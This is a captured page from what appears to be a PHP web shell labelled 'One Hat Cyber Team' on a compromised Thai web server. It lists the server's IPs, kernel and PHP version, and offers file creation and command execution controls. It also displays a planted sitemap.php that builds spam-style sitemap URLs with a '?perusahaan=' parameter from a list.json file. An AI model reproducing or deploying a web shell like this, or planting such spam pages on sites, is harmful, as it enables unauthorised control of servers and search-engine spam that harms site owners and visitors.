One Hat Cyber Team
Your IP :
216.73.216.62
Server IP :
122.155.17.190
Server :
Linux cat17190.thaihostserver.com 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
Server Software :
Apache/2
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
neunkho
/
public_html
/
assets
/
View File Name :
sitemap.php
<?php // $content = ''; // var_dump(json_encode(['content' => $content])); $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http'; $fullUrl = $protocol . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; if (isset($fullUrl)) { $parsedUrl = parse_url($fullUrl); $scheme = isset($parsedUrl['scheme']) ? $parsedUrl['scheme'] : ''; $host = isset($parsedUrl['host']) ? $parsedUrl['host'] : ''; $path = isset($parsedUrl['path']) ? $parsedUrl['path'] : ''; $query = isset($parsedUrl['query']) ? $parsedUrl['query'] : ''; $baseUrl = $scheme . "://" . $host . $path; $urlPath = preg_replace('/\/[^\/]*$/', '', $baseUrl) . '/'; } else { echo "URL saat ini tidak didefinisikan."; exit(); } try { header("Content-type: text/xml; charset=utf-8"); $filename = "list.json"; $list = file_get_contents($filename); $groupSites = json_decode($list, true); $sites = []; foreach ($groupSites as $group => $groupSite) { if (isset($groupSite['sites'])) { foreach ($groupSite['sites'] as $key => $site) { $siteData = array_merge($groupSite, $site); $sites[$key] = $siteData; } } } if ($sites === null) { feedback404(); exit(); } echo '<?xml version="1.0" encoding="UTF-8"?><urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">'; foreach ($sites as $site => $siteData) { echo "<url>"; echo "<loc>"; echo $urlPath . '?perusahaan=' . rawurlencode($site); echo "</loc>"; echo "</url>"; } echo "</urlset>"; } catch (\Exception $th) { echo "URL saat ini tidak didefinisikan."; exit(); }